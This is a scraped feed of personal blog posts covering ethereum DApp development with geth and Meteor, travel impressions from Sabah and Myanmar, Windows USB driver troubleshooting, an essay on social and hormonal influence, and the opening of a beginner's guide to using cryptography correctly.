<br /></div>
<code>
// 0xTRANSACTIONID is the return value from eth.sendTransaction <br />
// or you can see it in the verbose logs of geth <br />
eth.getTransaction('0xTRANSACTIONID').blockNumber <br />
</code>
<br />
<br />
<div>
you get either 0 or an error. </div>
<div>
<br /></div>
<div>
</div>
Make sure you are using enough gas for the operation. Each transaction in ethereum can be one of the following 3 types
<br />
<div>
<ol>
<li>just value transfer (sending eth to your friend)</li>
<li>invoke a contract (possibly with value transfer)</li>
<li>create a contract</li>
</ol>
<div>
And each requires a different amount of gas. Excess gas is refunded so you can beef it up easily. For example to deploy my contract, I would use this call:</div>
<div>
<br /></div>
<code>
eth.sendTransaction({from: eth.accounts[0], data=code, gas=1800000})</code>
<br />
<div>
<br />
<br />
<h4>
Not enabling CORS for HTML5 apps</h4>
</div>
</div>
<div>
If you decided to access the geth client from a JS+HTML5 app, you may find that the web3.js module is unable to connect because of the <a href="https://en.wikipedia.org/wiki/Cross-Origin_Resource_Sharing" target="_blank">Cross-Origin Resource Sharing</a> restrictions in the browser. You can see it in the F12 Developer Tools console. To fix this, make sure you have launched your geth instance with the correct arguments. If your JS app is served from http://localhost:3000, it would look like this:</div>
<div>
<br /></div>
<code>
geth --rpc --rpcaddr="localhost" --rpcport="8545" --rpccorsdomain="http://meteor-dapp-cosmo.meteor.com http://localhost:3000"</code>
<br />
<div>
<br /></div>
<div>
The <i>--rpccorsdomain</i> argument is key, it allows these origins to access the RPC. Note that you can specify more than one domain, just separate with spaces. This commandline will allow you to run the Cosmo web app at <a href="http://meteor-dapp-cosmo.meteor.com/">http://meteor-dapp-cosmo.meteor.com</a> with your local geth client.</div>
<div>
<br />
Note that if you try to invoke the HTTP RPC requests manually, you won't get the <i>Access-Control-Allow-Origin:</i> header unless you add the <i>Origin:</i> header first.<br />
<br />
<br />
<h4>
Incorrect compilation or construction</h4>
<div>
When you pack your little contract's lunch and send it off to the cloud, it may fail to stick even though you gave him enough gas to fly all the way to the cloud and the transaction was processed. But when you execute</div>
<div>
<br /></div>
<code>
eth.getCode(0xCONTRACTADDR)</code>
<br />
<div>
<br /></div>
<div>
you get <i>'0x'</i> nada nothing. It will be useful to know that the EVM bytecode that you send as <i>data</i> is executed and <b>the result</b> will be the actual contract code living on the blockchain. This is how the constructors work.<br />
<br />
If your code is corrupt or the constructor encounters a problem, you may end up in this situation. In my case, I incorrectly copied the hex contract output from the compiler.<br />
<br />
<br /></div>
<h4>
Meteor: global variables</h4>
</div>
<div>
I tried to instantiate a contract client in my Meteor app in a template.js file like this:<br />
<br /></div>
<code>
RegistrarABI = [{"constant":true,"inp.....snip
RegistrarAddr = "0xc6d9d2cd449a754c494264e1809c50e34d64562b";
RegistrarAPI = web3.eth.contract(RegistrarABI);
Registrar = RegistrarAPI.at(RegistrarAddr);
</code>
<br />
<br />
but alas, these variables were not available in my <a href="https://www.meteor.com/try/2" target="_blank">helpers</a> or elsewhere.<br />
<br />
Turns out that Meteor executes template JS code in a different context and so these variables were not global. My quick&dirty solution was to attach them to the <i>window</i> which is global but a better approach is clearly putting that into the <i>client/compatibility </i>folder which <a href="http://docs.meteor.com/#/full/structuringyourapp" target="_blank">is designated</a> for "outsiders".<br />
<br />
<br />
<h4>
ADDED: Development FAQ</h4>
<div>
You can join the <a href="https://gitter.im/ethereum/go-ethereum" target="_blank">go-ethereum gitter channel</a> and search, many questions have been asked there already and there are some examples / clarifications too. Just remember to not be an ass and try to search a bit first before distracting the devs.</div>
Unknownnoreply@blogger.com2tag:blogger.com,1999:blog-4587889150885588413.post-68871921090412746992015-05-15T10:56:00.001-07:002015-09-04T21:21:17.174-07:00Building an ethereum ÐApp, pt. I<b style="font-style: italic;">What is ethereum and ÐApps? </b><i>Check <a href="http://etherscripter.com/what_is_ethereum.html" target="_blank">here</a> </i><i> or </i><a href="http://www.google.com/?q=ethereum%20explained" target="_blank">search</a><br />
<i><b>This is part I of a series. </b><a href="http://blog.rplasil.name/2015/05/building-ethereum-app-pt-ii.html" target="_blank">Part II</a></i><br />
<i><b>This article is from May 2015, check the update in </b><a href="http://blog.rplasil.name/2015/08/building-ethereum-app-part-iv-frontier.html">Part IV</a></i><br />
<br />
This is a collection of notes as I was going through writing a simple proof of concept ÐApp, hopefully it would prove useful to others and reduce their bleeding when working with such cutting-edge technology. I hope to address also some practical concerns which are beyond the scope of other basic tutorials.<br />
<br />
I first met the <a href="http://www.ethereum.org/" target="_blank">ethereum</a> project on a <a href="http://www.meetup.com/Ethereum-Hong-Kong/" target="_blank">meetup</a> in Hong Kong in summer 2014 where Vitalik Buterin presented the project himself. Since then, I've been watching it and growing more interested and after realising its potential (through Vitalik's posts on <a href="http://blog.ethereum.org/">blog.ethereum.org</a>) I got so excited that I went ahead and started writing my own ÐApp, like a true <strike>hacker</strike> nerd.<br />
<br />
<h3>
ÐApp components, structure</h3>
<div>
The most important part is, of course, the <b>ethereum client</b> (currently go-ethereum or <i>geth</i>). It is also called a <i>node</i> because it connects with other nodes to form the network (nodes usually also run mining) and you may also think of it as a <i>wallet</i> (in the bitcoin sense) because it keeps your private key and allows you to send transactions. As such, users of your ÐApp will either need to run their own ethereum client or use a web based service (a parallel to <a href="https://blockchain.info/wallet">https://blockchain.info/wallet</a>) but that means increased centralisation and having to trust that service.</div>
<div>
<br /></div>
<div>
Another part of any app is the <b>GUI</b>. That's something you'll be building yourself. You can go ahead and use any of the old boring GUI frameworks such as Qt, HTML5, Android as long as you know how to connect to the wallet of your user. The connection happens over HTTP JSON-RPC (<a href="https://github.com/ethereum/wiki/wiki/JSON-RPC" target="_blank">documentation here</a>) which means that even an JS/HTML5 GUI served over the web can still connect to a wallet on the localhost.</div>
<div>
<br /></div>
<div>
Since storage and processing on ethereum blockchain is not so cheap, you may also want to run your <b>centralised server</b> in the old fashioned way, such as Node.js on Amazon EC2 or a Haskell server on your Commodore 64 in your grandma's basement (that would be slower than the ethereum blockchain actually, but equal in coolness factor). This server would handle data that doesn't need to be protected by the blockchain. Remember, the point of blockchain is to have a global consensus on sensitive data (such as people's account balances, domain name registrations) and making sure they are not modified behind anyone's back. Other, more trivial or sizeable data for your app, however, can be stored outside the blockchain, for example uploaded files / pictures / videos. Your server may need to run the ethereum client too, to have access to the latest blockchain state.</div>
<div>
<br /></div>
<h3>
Installing and running geth</h3>
<div>
There's not much to say here, just follow the homepage <a href="https://github.com/ethereum/go-ethereum/">https://github.com/ethereum/go-ethereum</a>. I recommend just downloading the binaries, they are built automatically for Windows, OSX, Ubuntu. Currently, go ahead with the <i>develop</i> branch. Don't bother with the Mist user interface, geth is all you need (<a href="https://www.youtube.com/watch?v=dsxtImDVMig">also love</a>). I also recommend going through the Frontier Guide that is being collected at <a href="http://ethereum.gitbooks.io/frontier-guide">http://ethereum.gitbooks.io/frontier-guide</a> and trying out the examples to understand more.</div>
<div>
<br /></div>
<div>
If, upon starting geth, you can't connect to any peers, try to start with </div>
<div>
<br /></div>
<code>
geth --vmodule=udp=6,server=6,downloader=6 console</code><br />
<div>
<br />
to get extended logging for the network. Make sure your computer clock is correct. Note that the message about no UPnP device found means that it couldn't setup port forwarding on your router using UPnP automatically. No big deal.</div>
<br />
<h3>
Getting a Meteor app skeleton</h3>
<div>
For this project GUI+centralised server, I chose the Meteor webapp client and server framework because it's new, hip, cool and everybody else seems to be using it too. Hopefully it'll make me look cool too. If you've never heard about it, let me summarize it as a batteries-included, everything-prepared framework that bundles Node.js, MongoDB, reactive (autoupdating) templating engine and other tools to make building and deploying webapps really easy. Both server and client code are written in Javascript. You may want to go through the <a href="https://www.meteor.com/try/" target="_blank">tutorial</a> to get some idea on how things are working there. </div>
<div>
<br /></div>
<div>
I started by installing meteor from the homepage at <a href="https://www.meteor.com/">https://www.meteor.com</a> and then cloning this useful repo <a href="https://github.com/SilentCicero/meteor-dapp-boilerplate">https://github.com/SilentCicero/meteor-dapp-boilerplate</a> as the basic template. Meteor is by default running on port 3000. Then, start geth with JSON RPC enabled (default port is 8545) and allow CORS so that your Meteor app can access it from the browser:<br />
<br /></div>
<code>
geth --rpc --rpccorsdomain "http://localhost:3000" console 2> geth_stderr.txt</code>
<br />
<code><br /></code>
<i>Note: do NOT use --rpcaddr "0.0.0.0" or you'll lose money. Also, enable firewall to prevent access to your node from the outside.</i><br />
<div>
<br />
To see log messages, watch the file geth_stderr.txt, ideally using tail -f geth_stderr.txt. You'll still need to interact with the client in the JS console it provides, don't forget to check out the <a href="https://github.com/ethereum/wiki/wiki/JavaScript-API" target="_blank">documentation</a>.<br />
<br />
I can already feel your head exploding from the overflow of information in this and the linked articles. Let's wrap it now, have a good sleep and next continue with some actual code, perhaps even with some troubleshooting tips (for free!). I'm planning to put my little ÐApp on github as well, sometime very soon. </div>
Unknownnoreply@blogger.com2tag:blogger.com,1999:blog-4587889150885588413.post-91898915926111054382015-04-27T23:34:00.000-07:002015-04-27T23:34:03.055-07:00Sabah impressionsI'm a nature nut. Trekking in a real, old rainforest has always been something I wanted to do, ideally spotting some wild animals too. That's why I went to Sabah, Borneo last week.<br />
<br />
First thing I found was that a big part of the place was either already developed (into a town) or occupied by agriculture (palm oil). Of course the people need to live somehow, but it also means that the days when an orangutan could swing from tree to tree all across Borneo are gone.<br />
<br />
After spending one night in Sandakan, I went to Kinabatangan river on an organised tour. It is said that Kinabatangan river is the best place to spot wildlife and I was fairly lucky. It really paid off to buy binoculars, that was one of my brain's brighter moments. One of the first things we saw was a wild orangutan, at a distance. Seeing this is very rare nowadays and I could well be one of the last people who had such opportunity. We also saw a couple of other monkey species, the way they can jump from one tree to another is quite amazing, imagine if you had to do that...<br />
<br />
A night walk in the forest around our accommodation gave us a chance to see a few sleepy birds (so sleepy, in fact, that they didn't even care about flashlight or camera flash), insects and a deadly yellow viper. Leeches, which I expected to show up without fault, did not actually arrive. Maybe they don't like my kind of blood.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgL3hyxPzVHr8PH4e-44hFdWBVkF37v8r34DqHU-w0HhlnVqzPUgLSyJsozMShhKdmsTgsfvtqLC2KtOfwpv99rBXM_jtbsdxxkVuRXGkRS_bumGPQdKdC4TnZdFFKCqrOSbG4Xvj64S_tN/s1600/DSCF3668.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgL3hyxPzVHr8PH4e-44hFdWBVkF37v8r34DqHU-w0HhlnVqzPUgLSyJsozMShhKdmsTgsfvtqLC2KtOfwpv99rBXM_jtbsdxxkVuRXGkRS_bumGPQdKdC4TnZdFFKCqrOSbG4Xvj64S_tN/s1600/DSCF3668.jpg" height="266" width="400" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi35bAMemjoYptB59DQu5BFfiTxbrNrjPh6wkceH5cdMdC2teLI4IYk2s2ODPPtk_Kz9Pr6M2y3pv5LGhlS82-6J1h3hKW9JYtGiE1mgHTTjL1Ov9mccqljM3gebiZxLlijhrSxQKmXHI5Z/s1600/DSCF3710_HDR.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi35bAMemjoYptB59DQu5BFfiTxbrNrjPh6wkceH5cdMdC2teLI4IYk2s2ODPPtk_Kz9Pr6M2y3pv5LGhlS82-6J1h3hKW9JYtGiE1mgHTTjL1Ov9mccqljM3gebiZxLlijhrSxQKmXHI5Z/s1600/DSCF3710_HDR.jpg" height="266" width="400" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhMiSO4XuwMR3203BqmHRVqOjaqp83vEz1I-E_GaA3ivyUsFKjeml8s-Ckr56H8X9ZrjbAy-WgKkBOIwTJS0TEd8TDOD8o3gfxTqBy7W3rg6YRXfRqB2CfkMjX4MU3WeiG03tNaSpHMDX_t/s1600/DSCF3689.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhMiSO4XuwMR3203BqmHRVqOjaqp83vEz1I-E_GaA3ivyUsFKjeml8s-Ckr56H8X9ZrjbAy-WgKkBOIwTJS0TEd8TDOD8o3gfxTqBy7W3rg6YRXfRqB2CfkMjX4MU3WeiG03tNaSpHMDX_t/s1600/DSCF3689.jpg" height="374" width="400" /></a></div>
<br />
<table cellpadding="0" cellspacing="0" class="tr-caption-container" style="clear: right; float: right; margin-bottom: 1em; text-align: right;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgqhMblS20oq2jqoH2pOzNVfnCW9P6Fc3ADSmD6cgBe6-URhvCUzHSCo3VZ7w5Ra_TgM9HuYjbeFPgsDTg8h6LDVBQCeWADa6lpMKIvUaofA3KyYDyfOpUskrQlaVmXAYMBySW6ja9nZs9E/s1600/Gelison_Peckish_s.JPG" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgqhMblS20oq2jqoH2pOzNVfnCW9P6Fc3ADSmD6cgBe6-URhvCUzHSCo3VZ7w5Ra_TgM9HuYjbeFPgsDTg8h6LDVBQCeWADa6lpMKIvUaofA3KyYDyfOpUskrQlaVmXAYMBySW6ja9nZs9E/s1600/Gelison_Peckish_s.JPG" height="298" width="400" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">The orangutan I adopted, Gellison. Well isn't he like me? ;)</td></tr>
</tbody></table>
Next day I went to Sepilok Orangutan Conservation Centre and saw a bunch of orange flurry apes swinging their way to grab some free bananas during feeding time. On the way out, there was a green pit viper, the kind that can see heat as well as ordinary light. The Conservation Centre is actively trying to help orphaned orangutans to survive and return them back to the wild. And since I love the nature and would like them to thrive again, I made a donation/adopted one. Next to the SORC, there is also a Rainforest Discovery Center where people can have a light trek in a limited area of real primary rainforest. That is also pretty amazing, mostly due to the huge trees which form different levels in the forest for different kinds of animals.<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-4587889150885588413.post-42823420959488659012015-04-27T04:23:00.002-07:002015-05-09T03:29:02.948-07:00Troubleshooting USB driver in Windows<i><b>Disclaimer:</b> techniques described in this article are not supported by me or Microsoft. They are very likely to break your system and make it unusable, so anything you try is at your own risk and assumes that you are able and willing to fix it yourself. That should be pretty obvious anyway.</i><br />
<br />
<br />
I still use Windows 7 and recently it has been a bit like being the last survivor in an abandoned city when most other people have left to OS X or the Ubuntu village. And yes, things break or stop working or simply get stuck. The reason is probably that I overload my system with tons upon tons of programs and libraries (can't even count how many programming environments I have set up) and being in a state of general messiness.<br />
<br />
The most recent problem I had was the mouse not working after wakeup. Something inside the system was stuck because some system calls seemed to be taking their time.<br />
<br />
First thing I thought of was how to restart the PnP hardware service or subsystem. That turned out not really possible but at least I set the ShellHWDetection service to run in its own process instead of sharing a process with other services. This allows me to restart it in case of problems. To do that, use this command in an elevated prompt:<br />
<br />
<code>sc.exe config ShellHWDetection type= own</code><br />
<br />
(keep the space after type=, takes effect upon reboot).<br />
<br />
You can see services running in each process using the excellent Process Explorer from <a href="http://www.sysinternals.com/">www.sysinternals.com</a><br />
<br />
I also noticed that I have VMware USB Arbitration Service running and that's clearly a good target for troubleshooting my mouse problem. Since I use VirtualBox, not VMware on my machine, having this service is a bit redundant (it probably comes with vSphere client that I use to administer our ESXi server). Disabling it alone, however, is not enough.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg9-VVm-K04mYSstZ7O9ap21SXMaWGElBeD37Au7zVgSO30OcZ8QYwPsKeNK4940ZeUps6wB_hd1o8gpxrRHhkpR0DXTYGsherGBQkPOKx919qrNzrE1b0cRtXbzsBX7rO_9taNlek4qtvf/s1600/Computer+Management_2015-04-27_18-52-05.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg9-VVm-K04mYSstZ7O9ap21SXMaWGElBeD37Au7zVgSO30OcZ8QYwPsKeNK4940ZeUps6wB_hd1o8gpxrRHhkpR0DXTYGsherGBQkPOKx919qrNzrE1b0cRtXbzsBX7rO_9taNlek4qtvf/s1600/Computer+Management_2015-04-27_18-52-05.png" width="288" /></a></div>
After searching a bit, I was able to find the list of hidden non-PnP drivers in the Device Manager. To get there, right click on your computer on the desktop and select <i>Manage..</i>. Then in the list on the left, select <i>Device Manager</i> and finally enable <i>Show hidden devices</i> in the <i>View</i> menu.<br />
<br />
This list by itself is pretty interesting on its own but for my problem, I found that I have <i>VMware hcmon</i> installed. Given that I only use vSphere client and having issues with the mouse, I decided to disable it and see if it helps. I also disabled the VirtualBox USB Monitor Driver. Of course I won't be able to use mouse in my VMs now but if this fixes my problem, it'll be an interesting discovery. Some day I should try to disable one service after another in a VM to see how does it crash the system.<br />
<br />
So far it seems it has helped :)<br />
Additionally, there's a command that can list all drivers on your system. You can use it to find drivers not signed by Microsoft which could be a cause of trouble. It's<br />
<br />
<code>
driverquery.exe /fo csv /v<br />
</code>
<br />
<code><br /></code>
in combination with <code>sigcheck.exe</code> again from SysInternals as described here <a href="http://serverfault.com/questions/130042/is-there-a-command-line-equivalent-of-sigverif-exe">http://serverfault.com/questions/130042/is-there-a-command-line-equivalent-of-sigverif-exe</a><br />
<br />
<br />Unknownnoreply@blogger.com2tag:blogger.com,1999:blog-4587889150885588413.post-29491186406037430872014-10-28T09:46:00.001-07:002014-10-28T09:46:28.753-07:00Myanmar impressionsI really want to do the impressions posts but after seeing this one collect dust for half a year, let's try a different approach. No one has time to read long posts anyway today.<br />
<br />
<ul>
<li>Schwedagon is simply breathtaking<br /><div style="text-align: left;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh0NxI5iSQZwWuTR9uEkOnpkx7et_Y0N6O87hvPdFRpO9pWJrxRzW7x1NLSQR8m1awosoJ1rzOgY9qXIAtQLqig3yJ6B4X5mnlStJameh2bnj0GvzL5eoI43cN4lczYr_uCget1mcac4o-3/s1600/DSCF1988.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em; text-align: center;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh0NxI5iSQZwWuTR9uEkOnpkx7et_Y0N6O87hvPdFRpO9pWJrxRzW7x1NLSQR8m1awosoJ1rzOgY9qXIAtQLqig3yJ6B4X5mnlStJameh2bnj0GvzL5eoI43cN4lczYr_uCget1mcac4o-3/s1600/DSCF1988.jpg" height="640" width="426" /></a></div>
</li>
<li>beautiful women <i>–</i> on average</li>
<li>monks everywhere <i>–</i> they must be a significant portion of the society</li>
<li>friendly people <i>–</i> even when trying to sell you stuff</li>
<li>weird negotiations</li>
<li>no taximeter <i>–</i> ever</li>
<li>which country do you come from? <i>–</i> how to start a conversation with a tourist, mostly used by kids</li>
</ul>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgHxnLi7nfNq48cOynG4L7oe3J2TD1gKu-T45tAiMazrAYpR7-syc5Sxh631-v-fTruhCCeka8jo-ZI30POmtSrlKIByHKJ_RQ-95tFv7CqSLzv7ts6ZPZWE0Efv7TrMo3uOGBOK31oPCMW/s1600/DSCF2187.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgHxnLi7nfNq48cOynG4L7oe3J2TD1gKu-T45tAiMazrAYpR7-syc5Sxh631-v-fTruhCCeka8jo-ZI30POmtSrlKIByHKJ_RQ-95tFv7CqSLzv7ts6ZPZWE0Efv7TrMo3uOGBOK31oPCMW/s1600/DSCF2187.jpg" height="425" width="640" /></a></div>
<div>
<ul>
<li>plastic garbage <i>– </i>getting plastic bags is easy but they don't know they can never get rid of it so it just lies around or they try to burn it</li>
<li>night buses <i>– </i>maybe locals can sleep better listening to loud soap operas but we couldn't :(</li>
<li>great local curry <i>– </i>so close to India and yet it's different</li>
<li>long-neck women <i>–</i> they are mostly a tourist attraction and that may be one of reasons they still do it. I felt bad going to see them</li>
</ul>
<div>
<br /></div>
</div>
<div>
Great trip altogether!</div>
<br />
<br />Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-4587889150885588413.post-67607844903568512122014-08-31T05:54:00.000-07:002014-10-28T20:57:13.627-07:00What manipulates usPeople usually think they are in control of their lives and that they make decisions based on free will or rational consideration. And the thought that something controls them, their mind and decisions, feels absolutely unacceptable and everybody tries to run away from any kind of manipulation. But that is sad and pointless. Influence and manipulation are inescapable and they have been with us since ever. Mother Nature is the greatest manipulator.<br />
<br />
A very common form of manipulation is <i>social pressure</i>. People do what other people do. You see, life is pretty uncertain. And difficult. Also risky. So let's just go with what other people did before me, because, apparently, it leads somewhere. This 'somewhere' may not be too good but at least it's familiar. Sounds good. No, don't do something different, it's scary. Who knows what's there. Why don't we just go back to what Pete is doing, you know, normal things for someone his age.<br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgR9lXAgm8oPkgOnihVwETS-ZqdgCf7FOMQ9ZZCuGz8ne8q7mFIIA1T-ruuq4HzcNDFsoCZ_MjA9b9eTX5DW3Im32uiCKVpS9VQFtdRQnax7fwGeuvPz-bGhNiDbbGzcz9KpBsswOmL_vnR/s1600/scumbag_bran.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgR9lXAgm8oPkgOnihVwETS-ZqdgCf7FOMQ9ZZCuGz8ne8q7mFIIA1T-ruuq4HzcNDFsoCZ_MjA9b9eTX5DW3Im32uiCKVpS9VQFtdRQnax7fwGeuvPz-bGhNiDbbGzcz9KpBsswOmL_vnR/s1600/scumbag_bran.jpg" height="140" width="200" /></a></div>
Like, as you approach the age of 30, most people around will be getting cars and stop using the public transportation. But if this is not really your thing and you'd rather spend the money differently, to travel the world or start a business, you're going to be different and basically seem to be nuts to the other people. This can get really annoying and can be a real obstacle to living the way you want.<br />
<br />
<em>Your time is limited, so don't waste it living someone else’s life. - </em>unknown Apple Computer founder<br />
<br />
Another example: <i>the dance floor</i>. Going there when it's empty? Impossibru! When there are people enjoying themselves? Looks like fun, let me join you! You'd be dancing the exact same thing but doing it alone makes it impossibly scary.<br />
<br />
<i>Innovation</i>. The opposite of innovation is doing things the same way like others. Your boss yelled at you to get anything done, so you yell at your subordinates when you become the boss because that's what a boss does, right? What good is it when you think you should do something different when the society is drilling you "<i>this</i> is how it's supposed to be done" so hard, that you end up changing your mind and stick with the outdated solution?<br />
<br />
So that's for social pressure. You know what other, very natural, element manipulates us? <i>Hormones</i>. I bet you are already aware of this. It's very humbling to see what they can do with us. Consider, for example, the many cases of unwanted pregnancies even though we have perfectly available condoms or other contraception. I haven't made anyone pregnant myself but I imagine that in some cases, the passions and flood of hormones before sex can cause someone to "forget" to use a condom. On the other hand, without this call of nature, some of our grandparents, parents and ultimately us might not even be here ;)<br />
<br />
<i>Having children. </i>People's priorities change significantly once they have children. Young people dread the idea of having to settle down and be responsible for a child and they think they want to live this way forever. And yet, most parents say that having children is the most beautiful and enjoyable thing in the world. What happened? Well, hormones, again, are making sure we are reproducing. Compared to the influence of hormones, our opinions have no power. See this TED talk on other ways we are deluding ourselves regarding our future plans.<br />
<br />
<a href="http://www.ted.com/talks/dan_gilbert_you_are_always_changing">TED talk: Dan Gilbert: The psychology of your future self</a><br />
<br />
<i>Testosterone,</i> another one of our little hormones. It's supposed to be responsible not only for sexual drive but also the more general <i>life success </i>drive. An increase in Testosterone, which can be achieved by better nutrition, more exercise or other means, influences men's decisions towards more active/aggressive. Instead of watching TV, they may be more likely to go work out. Instead of keeping quiet at work, they may be more likely to express a different opinion to their boss or propose their own idea. It's not a change caused by a rational decision or planning. It's something that influences emotions and that directly influences actions. Without even thinking about it.<br />
<br />
Or maybe it's a different hormone or perhaps a set of hormones. Anyway. There's a regulatory chemical in our body which says how much energy can we afford to expend and how much can we risk. If the body thinks that resources are scarce and we are in a bad situation, it starts saving energy. And plays everything safe. That was quite useful in the past in order to somehow stay alive but today it's pretty outdated because the risk of dying from lack of resources (i.e. food) is really low and therefore it's not a risk to drain blood sugar to keep intelligence and willpower cranked to the max.<br />
<br />
So, to recap, we can be influenced by our friends, by the society we live in, by our work culture, those little hormones inside us, by our biological clock, by fear and anger, internal balance of nutrients or any other chemicals, by an attractive person passing by... Sometimes it's called <i>influence</i>, other times it's called <i>manipulation</i>. It doesn't matter. It's here with us and it always has been. Objectivity is an illusion.<br />
<br />
Check this book out, especially if you think you're smart or rational! <a href="http://www.amazon.com/You-Are-Not-So-Smart-ebook/dp/B009DEGBZC/ref=sr_1_1?s=books&ie=UTF8&qid=1403282695&sr=1-1&keywords=you+are+not+so+smart">David McRaney: You Are Not So Smart</a><br />
<br />
Recently there has been some uproar because Facebook has conducted a tiny experiment. Media informed about this immediately as Facebook published that information and a lot of people got really annoyed but without any good reason.<br />
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td><a href="http://imgs.xkcd.com/comics/research_ethics.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" src="http://imgs.xkcd.com/comics/research_ethics.png" height="320" width="239" /></a></td></tr>
<tr><td class="tr-caption" style="font-size: 12.8000001907349px;">(this is http://xkcd.com)<br />
<div style="text-align: left;">
<br /></div>
</td></tr>
</tbody></table>
<br />
Instead, let's think if we can manipulate ourselves to achieve goals that the rational, long-term planning self wants to achieve? Yes, we can, by keeping in mind that emotions drive our decision in a pretty large number of cases.<br />
<br />
<i>Example: Sports.</i> It's so painful and annoying and can I go home already and have a dessert at first but if you manage to get over the initial phase, the body will eventually give up and release those promised endorphin hormones which means that you start having some fun and enjoying the activity. So in the beginning it really is <i>legen ... wait for it ....</i> And if you repeat a couple of times, you slowly start to build a skill which actually feels really good because you think you can potentially brag about it and raise your social status. And <b>that</b> is what can make you stick with your sport routine. Not your doctor telling you that you need to move.<br />
<br />
<br />Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-4587889150885588413.post-19999452906019916802014-05-16T08:16:00.003-07:002014-10-30T19:51:41.130-07:00Dev basics: Using cryptographyCryptography is different from other fields of programming. It is very very tricky and you cannot check whether your code is correct by just running the program (like you can do with, for example, graphics). Security holes are pretty much invisible but at the same time you need to be the first person to discover them. If someone beats you and misuses the discovery, you're in trouble.<br />
<br />
And because cryptographic errors cannot be tested in any simple way, developers need to focus on correct implementation in the first place. What does this mean?<br />
<br />
<h3>
1. Don't invent your own algorithms</h3>
<div>
We have AES, RSA, DSA, ECDSA and so on. If you are making a real world application that is going to protect some sensitive data, don't even think about making your own encryption algorithm. Doing that is fine if you're just playing with encryption for fun or are a seasoned cryptographic researcher who eats algebra for breakfast. In production, you can just as well go juggling grenades.<br />
<br /></div>
<div>
<h3>
2. Assume the attacker knows what algorithms you use</h3>
</div>
<div>
Relying on the attacker not knowing which cryptographic primitives you are using is about as safe as jumping off a cliff. Security is ensured by using secret keys and correct algorithms. If you make the mistake of violating this principle and an attacker discovers how you app works (every kid can use disassembly of Python, Java, .NET nowadays), what are you going to do about it? Try to change the implementation in 10 hours and ship a critical update? Building the security of your system on trying to hide implementation details ensures nothing but headache.<br />
<br /></div>
<h3>
3. Use crypto primitives in <i>exactly </i>the way they are designed to be used</h3>
<div>
To stay secure (and enjoy the feeling of extra protection, dryness and safety!), you need to use cryptographic primitives in exactly the same way they were designed to be used and in no other way. There is a number of tools in the cryptographer's toolbox and each of them has a different purpose. Let's list some of them:</div>
<div>
<ul>
<li>symmetric encryption (AES, Twofish, ...)<br /><i>purpose: </i>Hide data from an attacker using a key known to both parties.<br /><i>incorrect use:</i> trying to use encryption to prove the author of a message</li>
<li>asymmetric encryption (RSA, ...)<br /><i>purpose: </i>hiding data from an attacker using an asymmetric key</li>
<li>hash functions (SHA)<br /><i>purpose: </i>get a fixed length data digest from a long message that doesn't allow getting any info about the original message<br /><i>incorrect use: </i>trying to ensure that an attacker hasn't changed the message along the way<br /><i>incorrect use: </i>checking if the entered encryption password is correct</li>
<li>password based key derivation functions (PBKDF2, scrypt...)<br /><i>purpose: </i>generating a key for encryption algorithm from a password<br /><i>incorrect use:</i> not using PBKDF at all and putting the password directly into the encryption algorithm</li>
<li>digital signatures (DSA, ECDSA, RSA, ...)<br /><i>purpose: </i>ensure that the holder of private key really authored the message<br /><i>incorrect use:</i> out of ideas how to abuse this</li>
<li>message authentication codes (MAC)<br /><i>purpose: </i>making sure that the message has not been changed on the way when both parties share a secret key<br /><i>incorrect use:</i> not using it when data integrity is important</li>
<li>key agreement protocol (Diffie-Helman, ...)<br /><i>purpose:</i> You have two parties and they know each other's public key. This allows you to generate a shared secret using the public keys.</li>
</ul>
<div>
<br /></div>
</div>
<h3>
4. Handle parameters correctly</h3>
<div>
For example, encryption algorithms usually work in block modes and it's up to you to choose the block operation mode according to your needs. If you use ECB, I'm sorry and you can say "bye bye" to your privacy (unless your data is smaller than 128 bits). </div>
<div>
<br /></div>
<div>
